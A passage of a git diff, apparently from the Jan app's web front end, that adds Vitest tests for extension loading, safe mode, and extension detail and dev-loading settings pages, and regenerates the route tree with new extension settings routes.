h.bridge,}))vi.mock('@/lib/service', () => ({ APIs: {} }))vi.mock('@/services/events/EventEmitter', () => ({ EventEmitter: class {} }))-vi.mock('@janhq/core', () => ({ EngineManager: class {}, ModelManager: class {} }))+vi.mock('@janhq/core', () => ({+ EngineManager: class {},+ ModelManager: class {},+ appSettings: {+ get: async (key: string) => h.settings.get(key) ?? null,+ set: async (key: string, value: string) => void h.settings.set(key, value),+ },+}))+vi.mock('sonner', () => ({+ toast: { warning: h.toastWarning, error: h.toastError },+}))vi.mock('@tauri-apps/api/webviewWindow', () => ({getCurrentWebviewWindow: () => ({ label: h.windowLabel }),}))vi.mock('@tauri-apps/api/event', () => ({ emit: h.emit }))import { ExtensionProvider } from '../ExtensionProvider'+import { getHostBuiltins } from '@/lib/extensions/builtins'const renderProvider = () =>render(@@ -51,10 +81,18 @@ const renderProvider = () =>describe('ExtensionProvider', () => {beforeEach(() => {vi.clearAllMocks()- h.registerActive.mockResolvedValue(undefined)- h.load.mockResolvedValue(undefined)h.emit.mockResolvedValue(undefined)h.windowLabel = 'main'+ h.calls = []+ h.installSupported = true+ h.settings.clear()+ h.setSafeMode.mockResolvedValue(undefined)+ h.host.activateBuiltins.mockImplementation(async () => void h.calls.push('host'))+ h.host.loadInstalled.mockImplementation(+ async () => void h.calls.push('installed')+ )+ h.host.deactivateAll.mockResolvedValue(undefined)+ h.bridge.mockResolvedValue(h.stopBridge)document.body.className = ''document.body.innerHTML ='<div id="initial-loader"><p id="initial-loader-caption"></p></div>'@@ -70,16 +108,13 @@ describe('ExtensionProvider', () => {})it('shows phased setup status in the loader caption', async () => {- // Stay on the loading phase so the loader isn't dismissed mid-assertion.- h.load.mockImplementation((onProgress?: (d: number, t: number) => void) => {- onProgress?.(3, 7)- return new Promise<void>(() => {})- })+ // Stay on the activation phase so the loader isn't dismissed mid-assertion.+ h.host.activateBuiltins.mockImplementation(() => new Promise<void>(() => {}))renderProvider()await waitFor(() =>expect(document.getElementById('initial-loader-caption')?.textContent- ).toBe('Loading extensions… (3/7)')+ ).toBe('Registering extensions…'))})@@ -87,8 +122,120 @@ describe('ExtensionProvider', () => {renderProvider()expect(screen.queryByTestId('child')).toBeNull()expect(await screen.findByTestId('child')).toBeInTheDocument()- expect(h.registerActive).toHaveBeenCalled()- expect(h.load).toHaveBeenCalled()+ expect(h.host.activateBuiltins).toHaveBeenCalled()+ })++ it('activates the host built-ins before the installed extensions', async () => {+ renderProvider()+ await screen.findByTestId('child')+ expect(h.host.activateBuiltins).toHaveBeenCalledWith(getHostBuiltins())+ await waitFor(() => expect(h.calls).toEqual(['host', 'installed']))+ })++ it('does not hold the UI back while installed extensions start', async () => {+ h.host.loadInstalled.mockImplementation(() => new Promise<void>(() => {}))+ renderProvider()+ expect(await screen.findByTestId('child')).toBeInTheDocument()+ expect(h.host.loadInstalled).toHaveBeenCalled()+ })++ it('logs a failure to load the installed extensions', async () => {+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ h.host.loadInstalled.mockRejectedValue(new Error('registry gone'))+ renderProvider()+ await screen.findByTestId('child')+ await waitFor(() =>+ expect(error).toHaveBeenCalledWith(+ 'Loading installed extensions failed:',+ expect.any(Error)+ )+ )+ })++ it('turns on safe mode after two starts that never got the installed extensions loaded', async () => {+ h.settings.set('extension-host:failedStarts', '2')+ renderProvider()+ await screen.findByTestId('child')+ await waitFor(() => expect(h.host.loadInstalled).toHaveBeenCalled())+ expect(h.setSafeMode).toHaveBeenCalledWith(true)+ expect(h.setSafeMode.mock.invocationCallOrder[0]).toBeLessThan(+ h.host.loadInstalled.mock.invocationCallOrder[0]+ )+ expect(h.toastWarning).toHaveBeenCalledWith('extensions:crashed.safeMode')+ })++ it('applies the safe mode the guard turns on to the installed extensions live', async () => {+ h.settings.set('extension-host:failedStarts', '2')+ renderProvider()+ await screen.findByTestId('child')+ await waitFor(() => expect(h.host.loadInstalled).toHaveBeenCalled())+ // Stopped through the same reload path an enable or disable takes.+ expect(h.host.reload).toHaveBeenCalledWith('acme.one')+ expect(h.host.reload.mock.invocationCallOrder[0]).toBeLessThan(+ h.host.loadInstalled.mock.invocationCallOrder[0]+ )+ })++ it('skips the installed extensions and says so when safe mode cannot be turned on', async () => {+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ h.settings.set('extension-host:failedStarts', '2')+ h.setSafeMode.mockRejectedValue(new Error('registry I/O'))+ renderProvider()+ await screen.findByTestId('child')+ await waitFor(() =>+ expect(h.toastError).toHaveBeenCalledWith(+ 'extensions:crashed.safeModeFailed'+ )+ )+ expect(h.host.loadInstalled).not.toHaveBeenCalled()+ expect(error).toHaveBeenCalledWith(+ 'Turning on safe mode failed:',+ expect.any(Error)+ )+ })++ it('counts a start as good once the window closes cleanly', async () => {+ renderProvider()+ await screen.findByTestId('child')+ await waitFor(() => expect(h.host.loadInstalled).toHaveBeenCalled())+ expect(h.settings.get('extension-host:failedStarts')).toBe('1')+ window.dispatchEvent(new Event('pagehide'))+ await waitFor(() =>+ expect(h.settings.get('extension-host:failedStarts')).toBe('0')+ )+ })++ it('keeps a start counted as failed while installed extensions are loading', async () => {+ h.host.loadInstalled.mockImplementation(() => new Promise<void>(() => {}))+ renderProvider()+ await screen.findByTestId('child')+ await waitFor(() =>+ expect(h.settings.get('extension-host:failedStarts')).toBe('1')+ )+ expect(h.setSafeMode).not.toHaveBeenCalled()+ })++ it('loads no installed extension where there is no install pipeline', async () => {+ h.installSupported = false+ renderProvider()+ await screen.findByTestId('child')+ expect(h.host.loadInstalled).not.toHaveBeenCalled()+ expect(h.calls).toEqual(['host'])+ })++ it('still renders children and loads installed ones if host activation rejects', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ h.host.activateBuiltins.mockRejectedValue(new Error('boom'))+ renderProvider()+ expect(await screen.findByTestId('child')).toBeInTheDocument()+ await waitFor(() => expect(h.host.loadInstalled).toHaveBeenCalled())+ })++ it('deactivates host extensions on unmount', async () => {+ const { unmount } = renderProvider()+ await screen.findByTestId('child')+ unmount()+ expect(h.host.deactivateAll).toHaveBeenCalled()})it('dismisses the branded loader only after setup completes', async () => {@@ -109,19 +256,48 @@ describe('ExtensionProvider', () => {await waitFor(() => expect(h.emit).toHaveBeenCalledWith('app-ready'))})- it('still renders children if extension setup throws', async () => {- vi.spyOn(console, 'error').mockImplementation(() => {})- h.load.mockRejectedValue(new Error('boom'))+ it('finishes immediately on non-main windows without loading extensions', async () => {+ h.windowLabel = 'logs'renderProvider()expect(await screen.findByTestId('child')).toBeInTheDocument()+ expect(h.host.activateBuiltins).not.toHaveBeenCalled()+ expect(h.emit).not.toHaveBeenCalledWith('app-ready')})- it('finishes immediately on non-main windows without loading extensions', async () => {+ // The download manager's validation event reaches the core bus once, in the+ // main window, as it did when the llamacpp built-in relayed it: a second+ // window relaying it too would toast a validation that is not its own.+ it('relays model validation onto the core bus in the main window only', async () => {+ const { unmount } = renderProvider()+ await screen.findByTestId('child')+ expect(h.bridge).toHaveBeenCalledTimes(1)+ expect(h.bridge).toHaveBeenCalledWith({ listen: h.listen })+ unmount()+ await waitFor(() => expect(h.stopBridge).toHaveBeenCalled())+ })++ it('logs a validation relay that failed to start and still unmounts cleanly', async () => {+ const error = vi.spyOn(console, 'error').mockImplementation(() => {})+ const failure = new Error('listen failed')+ h.bridge.mockRejectedValue(failure)+ const { unmount } = renderProvider()+ await screen.findByTestId('child')+ await waitFor(() =>+ expect(error).toHaveBeenCalledWith(+ 'Relaying model validation failed:',+ failure+ )+ )+ // An unhandled rejection here would fail the run.+ unmount()+ await new Promise((resolve) => setTimeout(resolve, 0))+ expect(h.stopBridge).not.toHaveBeenCalled()+ })++ it('does not relay model validation in a secondary window', async () => {h.windowLabel = 'logs'renderProvider()- expect(await screen.findByTestId('child')).toBeInTheDocument()- expect(h.registerActive).not.toHaveBeenCalled()- expect(h.load).not.toHaveBeenCalled()- expect(h.emit).not.toHaveBeenCalledWith('app-ready')+ await screen.findByTestId('child')+ expect(h.bridge).not.toHaveBeenCalled()})})diff --git a/web-app/src/routeTree.gen.ts b/web-app/src/routeTree.gen.tsindex b8f917e40..c48f4f74f 100644--- a/web-app/src/routeTree.gen.ts+++ b/web-app/src/routeTree.gen.ts@@ -25,7 +25,6 @@ import { Route as SettingsInterfaceRouteImport } from './routes/settings/interfaimport { Route as SettingsHttpsProxyRouteImport } from './routes/settings/https-proxy'import { Route as SettingsHardwareRouteImport } from './routes/settings/hardware'import { Route as SettingsGeneralRouteImport } from './routes/settings/general'-import { Route as SettingsExtensionsRouteImport } from './routes/settings/extensions'import { Route as SettingsCoworkRouteImport } from './routes/settings/cowork'import { Route as SettingsClaudeCodeRouteImport } from './routes/settings/claude-code'import { Route as SettingsAttachmentsRouteImport } from './routes/settings/attachments'@@ -34,7 +33,9 @@ import { Route as ProjectProjectIdRouteImport } from './routes/project/$projectIimport { Route as LocalApiServerLogsRouteImport } from './routes/local-api-server/logs'import { Route as HubModelIdRouteImport } from './routes/hub/$modelId'import { Route as SettingsProvidersIndexRouteImport } from './routes/settings/providers/index'+import { Route as SettingsExtensionsIndexRouteImport } from './routes/settings/extensions/index'import { Route as SettingsProvidersProviderNameRouteImport } from './routes/settings/providers/$providerName'+import { Route as SettingsExtensionsExtensionIdRouteImport } from './routes/settings/extensions/$extensionId'const SystemMonitorRoute = SystemMonitorRouteImport.update({id: '/system-monitor',@@ -116,11 +117,6 @@ const SettingsGeneralRoute = SettingsGeneralRouteImport.update({path: '/settings/general',getParentRoute: () => rootRouteImport,} as any)-const SettingsExtensionsRoute = SettingsExtensionsRouteImport.update({- id: '/settings/extensions',- path: '/settings/extensions',- getParentRoute: () => rootRouteImport,-} as any)const SettingsCoworkRoute = SettingsCoworkRouteImport.update({id: '/settings/cowork',path: '/settings/cowork',@@ -161,12 +157,23 @@ const SettingsProvidersIndexRoute = SettingsProvidersIndexRouteImport.update({path: '/settings/providers/',getParentRoute: () => rootRouteImport,} as any)+const SettingsExtensionsIndexRoute = SettingsExtensionsIndexRouteImport.update({+ id: '/settings/extensions/',+ path: '/settings/extensions/',+ getParentRoute: () => rootRouteImport,+} as any)const SettingsProvidersProviderNameRoute =SettingsProvidersProviderNameRouteImport.update({id: '/settings/providers/$providerName',path: '/settings/providers/$providerName',getParentRoute: () => rootRouteImport,} as any)+const SettingsExtensionsExtensionIdRoute =+ SettingsExtensionsExtensionIdRouteImport.update({+ id: '/settings/extensions/$extensionId',+ path: '/settings/extensions/$extensionId',+ getParentRoute: () => rootRouteImport,+ } as any)export interface FileRoutesByFullPath {'/': typeof IndexRoute@@ -181,7 +188,6 @@ export interface FileRoutesByFullPath {'/settings/attachments': typeof SettingsAttachmentsRoute'/settings/claude-code': typeof SettingsClaudeCodeRoute'/settings/cowork': typeof SettingsCoworkRoute- '/settings/extensions': typeof SettingsExtensionsRoute'/settings/general': typeof SettingsGeneralRoute'/settings/hardware': typeof SettingsHardwareRoute'/settings/https-proxy': typeof SettingsHttpsProxyRoute@@ -193,7 +199,9 @@ export interface FileRoutesByFullPath {'/settings/web-search': typeof SettingsWebSearchRoute'/threads/$threadId': typeof ThreadsThreadIdRoute'/hub/': typeof HubIndexRoute+ '/settings/extensions/$extensionId': typeof SettingsExtensionsExtensionIdRoute'/settings/providers/$providerName': typeof SettingsProvidersProviderNameRoute+ '/settings/extensions/': typeof SettingsExtensionsIndexRoute'/settings/providers/': typeof SettingsProvidersIndexRoute}export interface FileRoutesByTo {@@ -209,7 +217,6 @@ export interface FileRoutesByTo {'/settings/attachments': typeof SettingsAttachmentsRoute'/settings/claude-code': typeof SettingsClaudeCodeRoute'/settings/cowork': typeof SettingsCoworkRoute- '/settings/extensions': typeof SettingsExtensionsRoute'/settings/general': typeof SettingsGeneralRoute'/settings/hardware': typeof SettingsHardwareRoute'/settings/https-proxy': typeof SettingsHttpsProxyRoute@@ -221,7 +228,9 @@ export interface FileRoutesByTo {'/settings/web-search': typeof SettingsWebSearchRoute'/threads/$threadId': typeof ThreadsThreadIdRoute'/hub': typeof HubIndexRoute+ '/settings/extensions/$extensionId': typeof SettingsExtensionsExtensionIdRoute'/settings/providers/$providerName': typeof SettingsProvidersProviderNameRoute+ '/settings/extensions': typeof SettingsExtensionsIndexRoute'/settings/providers': typeof SettingsProvidersIndexRoute}export interface FileRoutesById {@@ -238,7 +247,6 @@ export interface FileRoutesById {'/settings/attachments': typeof SettingsAttachmentsRoute'/settings/claude-code': typeof SettingsClaudeCodeRoute'/settings/cowork': typeof SettingsCoworkRoute- '/settings/extensions': typeof SettingsExtensionsRoute'/settings/general': typeof SettingsGeneralRoute'/settings/hardware': typeof SettingsHardwareRoute'/settings/https-proxy': typeof SettingsHttpsProxyRoute@@ -250,7 +258,9 @@ export interface FileRoutesById {'/settings/web-search': typeof SettingsWebSearchRoute'/threads/$threadId': typeof ThreadsThreadIdRoute'/hub/': typeof HubIndexRoute+ '/settings/extensions/$extensionId': typeof SettingsExtensionsExtensionIdRoute'/settings/providers/$providerName': typeof SettingsProvidersProviderNameRoute+ '/settings/extensions/': typeof SettingsExtensionsIndexRoute'/settings/providers/': typeof SettingsProvidersIndexRoute}export interface FileRouteTypes {@@ -268,7 +278,6 @@ export interface FileRouteTypes {| '/settings/attachments'| '/settings/claude-code'| '/settings/cowork'- | '/settings/extensions'| '/settings/general'| '/settings/hardware'| '/settings/https-proxy'@@ -280,7 +289,9 @@ export interface FileRouteTypes {| '/settings/web-search'| '/threads/$threadId'| '/hub/'+ | '/settings/extensions/$extensionId'| '/settings/providers/$providerName'+ | '/settings/extensions/'| '/settings/providers/'fileRoutesByTo: FileRoutesByToto:@@ -296,7 +307,6 @@ export interface FileRouteTypes {| '/settings/attachments'| '/settings/claude-code'| '/settings/cowork'- | '/settings/extensions'| '/settings/general'| '/settings/hardware'| '/settings/https-proxy'@@ -308,7 +318,9 @@ export interface FileRouteTypes {| '/settings/web-search'| '/threads/$threadId'| '/hub'+ | '/settings/extensions/$extensionId'| '/settings/providers/$providerName'+ | '/settings/extensions'| '/settings/providers'id:| '__root__'@@ -324,7 +336,6 @@ export interface FileRouteTypes {| '/settings/attachments'| '/settings/claude-code'| '/settings/cowork'- | '/settings/extensions'| '/settings/general'| '/settings/hardware'| '/settings/https-proxy'@@ -336,7 +347,9 @@ export interface FileRouteTypes {| '/settings/web-search'| '/threads/$threadId'| '/hub/'+ | '/settings/extensions/$extensionId'| '/settings/providers/$providerName'+ | '/settings/extensions/'| '/settings/providers/'fileRoutesById: FileRoutesById}@@ -353,7 +366,6 @@ export interface RootRouteChildren {SettingsAttachmentsRoute: typeof SettingsAttachmentsRouteSettingsClaudeCodeRoute: typeof SettingsClaudeCodeRouteSettingsCoworkRoute: typeof SettingsCoworkRoute- SettingsExtensionsRoute: typeof SettingsExtensionsRouteSettingsGeneralRoute: typeof SettingsGeneralRouteSettingsHardwareRoute: typeof SettingsHardwareRouteSettingsHttpsProxyRoute: typeof SettingsHttpsProxyRoute@@ -365,7 +377,9 @@ export interface RootRouteChildren {SettingsWebSearchRoute: typeof SettingsWebSearchRouteThreadsThreadIdRoute: typeof ThreadsThreadIdRouteHubIndexRoute: typeof HubIndexRoute+ SettingsExtensionsExtensionIdRoute: typeof SettingsExtensionsExtensionIdRouteSettingsProvidersProviderNameRoute: typeof SettingsProvidersProviderNameRoute+ SettingsExtensionsIndexRoute: typeof SettingsExtensionsIndexRouteSettingsProvidersIndexRoute: typeof SettingsProvidersIndexRoute}@@ -483,13 +497,6 @@ declare module '@tanstack/react-router' {preLoaderRoute: typeof SettingsGeneralRouteImportparentRoute: typeof rootRouteImport}- '/settings/extensions': {- id: '/settings/extensions'- path: '/settings/extensions'- fullPath: '/settings/extensions'- preLoaderRoute: typeof SettingsExtensionsRouteImport- parentRoute: typeof rootRouteImport- }'/settings/cowork': {id: '/settings/cowork'path: '/settings/cowork'@@ -546,6 +553,13 @@ declare module '@tanstack/react-router' {preLoaderRoute: typeof SettingsProvidersIndexRouteImportparentRoute: typeof rootRouteImport}+ '/settings/extensions/': {+ id: '/settings/extensions/'+ path: '/settings/extensions'+ fullPath: '/settings/extensions/'+ preLoaderRoute: typeof SettingsExtensionsIndexRouteImport+ parentRoute: typeof rootRouteImport+ }'/settings/providers/$providerName': {id: '/settings/providers/$providerName'path: '/settings/providers/$providerName'@@ -553,6 +567,13 @@ declare module '@tanstack/react-router' {preLoaderRoute: typeof SettingsProvidersProviderNameRouteImportparentRoute: typeof rootRouteImport}+ '/settings/extensions/$extensionId': {+ id: '/settings/extensions/$extensionId'+ path: '/settings/extensions/$extensionId'+ fullPath: '/settings/extensions/$extensionId'+ preLoaderRoute: typeof SettingsExtensionsExtensionIdRouteImport+ parentRoute: typeof rootRouteImport+ }}}@@ -569,7 +590,6 @@ const rootRouteChildren: RootRouteChildren = {SettingsAttachmentsRoute: SettingsAttachmentsRoute,SettingsClaudeCodeRoute: SettingsClaudeCodeRoute,SettingsCoworkRoute: SettingsCoworkRoute,- SettingsExtensionsRoute: SettingsExtensionsRoute,SettingsGeneralRoute: SettingsGeneralRoute,SettingsHardwareRoute: SettingsHardwareRoute,SettingsHttpsProxyRoute: SettingsHttpsProxyRoute,@@ -581,7 +601,9 @@ const rootRouteChildren: RootRouteChildren = {SettingsWebSearchRoute: SettingsWebSearchRoute,ThreadsThreadIdRoute: ThreadsThreadIdRoute,HubIndexRoute: HubIndexRoute,+ SettingsExtensionsExtensionIdRoute: SettingsExtensionsExtensionIdRoute,SettingsProvidersProviderNameRoute: SettingsProvidersProviderNameRoute,+ SettingsExtensionsIndexRoute: SettingsExtensionsIndexRoute,SettingsProvidersIndexRoute: SettingsProvidersIndexRoute,}export const routeTree = rootRouteImportdiff --git a/web-app/src/routes/cowork.tsx b/web-app/src/routes/cowork.tsxindex 6730879f0..d37cbf181 100644--- a/web-app/src/routes/cowork.tsx+++ b/web-app/src/routes/cowork.tsx@@ -1173,7 +1173,12 @@ function CoworkPage() {// (active providers, no embedding models, remote providers only with a key),// narrowed to tool-capable models since runRequest refuses the rest anyway.const allModels = useMemo(() => {- const items: { providerName: string; id: string; label: string }[] = []+ const items: {+ providerName: string+ providerTitle: string+ id: string+ label: string+ }[] = []providers.forEach((p) => {if (!p.active) returnconst isPredefined = predefinedProviders.some((e) =>@@ -1189,6 +1194,7 @@ function CoworkPage() {if (!m.capabilities?.includes('tools')) returnitems.push({providerName: p.provider,+ providerTitle: getProviderTitle(p),id: m.id,label: getModelDisplayName(m),})@@ -1222,7 +1228,7 @@ function CoworkPage() {.map((m) => ({key: `${m.providerName}/${m.id}`,label: m.label,- description: getProviderTitle(m.providerName),+ description: m.providerTitle,kind: 'model' as const,onSelect: () => switchModel(m.providerName, m.id),}))diff --git a/web-app/src/routes/settings/__tests__/attachments.test.tsx b/web-app/src/routes/settings/__tests__/attachments.test.tsxindex 386acd710..ea002701a 100644--- a/web-app/src/routes/settings/__tests__/attachments.test.tsx+++ b/web-app/src/routes/settings/__tests__/attachments.test.tsx@@ -19,10 +19,10 @@ vi.mock('@/lib/backendStorage', () => ({removeItem: async () => {},},}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: { getInstance: () => ({ get: () => undefined }) },+// No rag built-in is active, so the page keeps the defs set below.+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ list: () => [] }),}))-vi.mock('@janhq/core', () => ({ ExtensionTypeEnum: { RAG: 'rag' } }))// Simple number input so the test can drive onChange directly.vi.mock('@/containers/dynamicControllerSetting', () => ({DynamicControllerSetting: ({diff --git a/web-app/src/routes/settings/__tests__/extensions.details.test.tsx b/web-app/src/routes/settings/__tests__/extensions.details.test.tsxnew file mode 100644index 000000000..b28118cb5--- /dev/null+++ b/web-app/src/routes/settings/__tests__/extensions.details.test.tsx@@ -0,0 +1,235 @@+// Settings > Extensions > <id>: grants with revoke, version and rollback,+// uninstall; built-ins are read-only.+import { beforeEach, describe, expect, it, vi } from 'vitest'+import { render, screen, waitFor, within } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import type { ComponentType, ReactNode } from 'react'+import type { HostedExtension } from '@/lib/extensions/host'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'+import { manifest } from '@/lib/extensions/__tests__/fixtures'+import {+ createMockExtensionsService,+ installed,+} from '@/services/extensions/__tests__/mock'++const h = vi.hoisted(() => ({+ hosted: [] as HostedExtension[],+ params: { extensionId: 'acme.hello' },+ navigate: vi.fn(),+ reload: vi.fn(async (_id: string) => undefined),+ service: undefined as unknown,+}))++vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({+ list: () => h.hosted,+ onDidChange: () => ({ dispose: () => undefined }),+ }),+}))+vi.mock('@/lib/extensions/installed-reload', () => ({+ reloadInstalled: h.reload,+}))+vi.mock('@/hooks/useServiceHub', () => ({+ useServiceHub: () => ({ extensions: () => h.service }),+}))+vi.mock('@/containers/SettingsMenu', () => ({ default: () => null }))+vi.mock('@/containers/extensions/ExtensionSettingsForm', () => ({+ ExtensionSettingsForm: ({ extensionId }: { extensionId: string }) => (+ <div data-testid={`settings-form-${extensionId}`} />+ ),+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('@tanstack/react-router', () => ({+ createFileRoute: () => (config: { component: ComponentType }) => ({+ ...config,+ useParams: () => h.params,+ }),+ useNavigate: () => h.navigate,+ Link: ({ children, to }: { children: ReactNode; to: string }) => (+ <a href={to}>{children}</a>+ ),+}))++import { Route } from '../extensions/$extensionId'++const Page = Route.component as ComponentType+let mock: ReturnType<typeof createMockExtensionsService>++beforeEach(() => {+ h.hosted = []+ h.params = { extensionId: 'acme.hello' }+ h.navigate.mockReset()+ h.reload.mockClear()+ mock = createMockExtensionsService({+ extensions: [+ installed('acme.hello', {+ manifest: manifest('acme.hello', {+ displayName: 'Hello',+ permissions: ['ui:notify', 'tools'],+ contributes: {+ settings: [+ { key: 'k', title: 'K', control: { type: 'checkbox', default: false } },+ ],+ },+ }),+ version: '2.0.0',+ previous: '1.0.0',+ granted: ['ui:notify', 'tools'],+ }),+ ],+ })+ h.service = mock.service+})++describe('installed extension details', () => {+ it('revoke calls setGrants with the rest, then reloads the extension', async () => {+ render(<Page />)+ const grants = await screen.findByRole('list', {+ name: 'Granted permissions',+ })+ expect(grants).toHaveTextContent('Show notifications')+ expect(grants).toHaveTextContent('Add tools for models')+ const revokeButtons = within(grants).getAllByRole('button', {+ name: 'Revoke',+ })+ await userEvent.click(revokeButtons[1])+ expect(mock.service.setGrants).toHaveBeenCalledWith('acme.hello', [+ 'ui:notify',+ ])+ await waitFor(() => expect(h.reload).toHaveBeenCalledWith('acme.hello'))+ expect(mock.service.setGrants.mock.invocationCallOrder[0]).toBeLessThan(+ h.reload.mock.invocationCallOrder[0]+ )+ await waitFor(() =>+ expect(grants).not.toHaveTextContent('Add tools for models')+ )+ })++ it('disables the controls while a change is in flight', async () => {+ let finish = () => {}+ mock.service.setGrants.mockImplementationOnce(+ () => new Promise<void>((resolve) => (finish = resolve))+ )+ render(<Page />)+ const grants = await screen.findByRole('list', {+ name: 'Granted permissions',+ })+ const [first] = within(grants).getAllByRole('button', { name: 'Revoke' })+ await userEvent.click(first)+ await waitFor(() => expect(first).toBeDisabled())+ expect(screen.getByRole('switch', { name: 'Enable Hello' })).toBeDisabled()+ expect(screen.getByRole('button', { name: 'Roll back to 1.0.0' })).toBeDisabled()+ expect(screen.getByRole('button', { name: 'Uninstall' })).toBeDisabled()+ finish()+ await waitFor(() => expect(screen.getByRole('button', { name: 'Uninstall' })).toBeEnabled())+ })++ it('shows the version and rolls back to the previous one', async () => {+ render(<Page />)+ expect(await screen.findByText('Version 2.0.0')).toBeInTheDocument()+ await userEvent.click(+ screen.getByRole('button', { name: 'Roll back to 1.0.0' })+ )+ expect(mock.service.rollback).toHaveBeenCalledWith('acme.hello')+ await waitFor(() => expect(h.reload).toHaveBeenCalledWith('acme.hello'))+ expect(await screen.findByText('Version 1.0.0')).toBeInTheDocument()+ })++ it('has no rollback without a previous version', async () => {+ mock.state.extensions[0].previous = null+ render(<Page />)+ await screen.findByText('Version 2.0.0')+ expect(screen.queryByRole('button', { name: /Roll back/ })).toBeNull()+ })++ it('uninstalls after confirmation, stops it and goes back to the list', async () => {+ render(<Page />)+ await userEvent.click(+ await screen.findByRole('button', { name: 'Uninstall' })+ )+ const dialog = await screen.findByRole('dialog')+ expect(dialog).toHaveTextContent('Uninstall Hello?')+ expect(mock.service.uninstall).not.toHaveBeenCalled()+ await userEvent.click(+ within(dialog).getByRole('button', { name: 'Uninstall' })+ )+ expect(mock.service.uninstall).toHaveBeenCalledWith('acme.hello')+ await waitFor(() => expect(h.reload).toHaveBeenCalledWith('acme.hello'))+ await waitFor(() =>+ expect(h.navigate).toHaveBeenCalledWith({ to: '/settings/extensions' })+ )+ })++ it('shows the settings form while the extension runs', async () => {+ h.hosted = [+ {+ id: 'acme.hello',+ manifest: mock.state.extensions[0].manifest,+ source: 'installed',+ state: 'active',+ },+ ]+ render(<Page />)+ expect(await screen.findByTestId('settings-form-acme.hello')).toBeInTheDocument()+ })++ it('shows the name and description in the app language', async () => {+ useGeneralSetting.setState({ currentLanguage: 'ja' })+ mock.state.extensions[0].manifest = {+ ...mock.state.extensions[0].manifest,+ displayName: '%name%',+ description: '%about%',+ l10n: {+ en: { name: 'Hello', about: 'Says hello' },+ ja: { name: 'Konnichiwa' },+ },+ }+ render(<Page />)+ expect(+ await screen.findByRole('heading', { name: 'Konnichiwa' })+ ).toBeInTheDocument()+ expect(screen.getByText('Says hello')).toBeInTheDocument()+ expect(+ screen.getByRole('switch', { name: 'Enable Konnichiwa' })+ ).toBeInTheDocument()+ useGeneralSetting.setState({ currentLanguage: 'en' })+ })++ it('says when the id is not installed', async () => {+ h.params = { extensionId: 'acme.gone' }+ render(<Page />)+ expect(+ await screen.findByText('This extension is not installed.')+ ).toBeInTheDocument()+ })+})++describe('built-in details', () => {+ it('has no revoke, rollback, uninstall or enable', async () => {+ h.params = { extensionId: 'jan.core' }+ h.hosted = [+ {+ id: 'jan.core',+ manifest: manifest('jan.core', {+ displayName: 'Core',+ permissions: ['ui:notify'],+ }),+ source: 'builtin',+ state: 'active',+ },+ ]+ render(<Page />)+ expect(+ screen.getByText(+ 'Built-in extensions are part of Jan and cannot be disabled or uninstalled.'+ )+ ).toBeInTheDocument()+ expect(screen.getByText('Show notifications')).toBeInTheDocument()+ expect(screen.queryByRole('button', { name: 'Revoke' })).toBeNull()+ expect(screen.queryByRole('button', { name: 'Uninstall' })).toBeNull()+ expect(screen.queryByRole('switch')).toBeNull()+ })+})diff --git a/web-app/src/routes/settings/__tests__/extensions.dev.test.tsx b/web-app/src/routes/settings/__tests__/extensions.dev.test.tsxnew file mode 100644index 000000000..ad274ec95--- /dev/null+++ b/web-app/src/routes/settings/__tests__/extensions.dev.test.tsx@@ -0,0 +1,254 @@+// Dev-only "Load unpacked" on Settings > Extensions. IS_DEV is a build+// constant; the tests stub the global the define would have replaced.+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'+import { render, screen, waitFor } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import type { ComponentType, ReactNode } from 'react'+import type { HostedExtension } from '@/lib/extensions/host'+import { manifest } from '@/lib/extensions/__tests__/fixtures'+import { DefaultExtensionsService } from '@/services/extensions/default'++const files = vi.hoisted(() => ({ map: new Map<string, string>() }))+const picker = vi.hoisted(() => ({ open: vi.fn() }))+const host = vi.hoisted(() => {+ let entries: HostedExtension[] = []+ const listeners = new Set<() => void>()+ const set = (next: HostedExtension[]) => {+ entries = next+ listeners.forEach((l) => l())+ }+ return {+ set,+ list: () => entries,+ onDidChange: (listener: () => void) => {+ listeners.add(listener)+ return { dispose: () => listeners.delete(listener) }+ },+ spawnWorkerExtension: vi.fn(),+ unload: vi.fn(async (id: string) =>+ set(entries.filter((e) => e.id !== id))+ ),+ }+})++vi.mock('@janhq/core', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@janhq/core')>()),+ joinPath: async (parts: string[]) => parts.join('/'),+ fs: {+ readFileSync: async (path: string) => {+ const content = files.map.get(path)+ if (content === undefined) throw new Error(`ENOENT: ${path}`)+ return content+ },+ },+}))+vi.mock('@/lib/extensions/host', () => ({ getExtensionHost: () => host }))+vi.mock('@/hooks/useServiceHub', () => ({+ useServiceHub: () => ({+ dialog: () => ({ open: picker.open }),+ extensions: () => new DefaultExtensionsService(),+ }),+}))+vi.mock('@/containers/SettingsMenu', () => ({ default: () => null }))+vi.mock('@/containers/extensions/ExtensionSettingsForm', () => ({+ ExtensionSettingsForm: ({ extensionId }: { extensionId: string }) => (+ <div data-testid={`settings-form-${extensionId}`} />+ ),+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('@tanstack/react-router', () => ({+ createFileRoute: () => (config: { component: ComponentType }) => config,+ Link: ({ children }: { children: ReactNode }) => <a>{children}</a>,+}))++import { Route } from '../extensions/index'++const DIR = '/home/dev/hello'+const Page = Route.component as ComponentType++const writePackage = (jan: Record<string, unknown>) =>+ files.map.set(+ `${DIR}/package.json`,+ JSON.stringify({+ name: 'hello-provider',+ version: '0.1.0',+ jan: {+ id: 'acme.hello',+ displayName: 'Hello Provider',+ publisher: 'Acme',+ apiVersion: '^1.0.0',+ main: 'dist/index.js',+ permissions: ['ui:notify', 'network:*'],+ ...jan,+ },+ })+ )++beforeEach(() => {+ files.map.clear()+ host.set([])+ host.spawnWorkerExtension.mockReset()+ picker.open.mockReset()+ 